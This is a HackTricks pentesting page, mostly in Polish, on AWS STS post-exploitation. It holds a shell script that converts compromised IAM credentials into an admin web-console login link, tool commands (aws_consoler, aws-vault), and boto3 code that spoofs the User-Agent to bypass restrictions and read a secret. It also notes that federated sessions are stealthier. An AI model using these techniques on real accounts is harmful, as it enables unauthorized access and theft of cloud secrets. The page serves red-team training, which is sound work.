AWS - STS Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

STS

For more information:

AWS - IAM, Identity Center & SSO Enum

Z poświadczeń IAM do konsoli

Jeśli udało ci się zdobyć poświadczenia IAM możesz być zainteresowany uzyskaniem dostępu do web console za pomocą poniższych narzędzi.
Zauważ, że użytkownik/rola musi mieć uprawnienie sts:GetFederationToken.

Własny skrypt

Poniższy skrypt użyje domyślnego profilu i domyślnej lokalizacji AWS (not gov and not cn) aby wygenerować podpisany URL, którego możesz użyć do zalogowania się w konsoli webowej:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)


# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

Możesz wygenerować link do konsoli webowej za pomocą https://github.com/NetSPI/aws_consoler.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

Warning

Upewnij się, że użytkownik IAM ma uprawnienie sts:GetFederationToken, lub zapewnij rolę do assume.

aws-vault

aws-vault jest narzędziem do bezpiecznego przechowywania i uzyskiwania dostępu do AWS credentials w środowisku deweloperskim.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

Note

Możesz również użyć aws-vault aby uzyskać browser console session

From Web Console to IAM Creds

The browser extension https://github.com/AI-redteam/clier is capable of intercepting from the network IAM credentials before they are protected in the memory of the browser.

Bypass User-Agent restrictions from Python

If there is a **restriction to perform certain actions based on the user agent used (like restricting the use of python boto3 library based on the user agent) it’s possible to use the previous technique to connect to the web console via a browser, or you could directly modify the boto3 user-agent by doing:

# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")

# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )

# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])

sts:GetFederationToken

Dzięki temu uprawnieniu można utworzyć tożsamość federacyjną dla użytkownika ją wykonującego, ograniczoną do uprawnień, które ten użytkownik posiada.

aws sts get-federation-token --name <username>

Token zwrócony przez sts:GetFederationToken należy do tożsamości federowanej wywołującego użytkownika, ale ma ograniczone uprawnienia. Nawet jeśli użytkownik ma uprawnienia administratora, pewne operacje, takie jak listowanie użytkowników IAM czy dołączanie polityk, nie mogą być wykonane przy użyciu tokena federowanego.

Dodatkowo ta metoda jest nieco bardziej dyskretna, ponieważ użytkownik federowany nie pojawia się w AWS Portal — można go zaobserwować jedynie poprzez logi CloudTrail lub narzędzia monitorujące.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks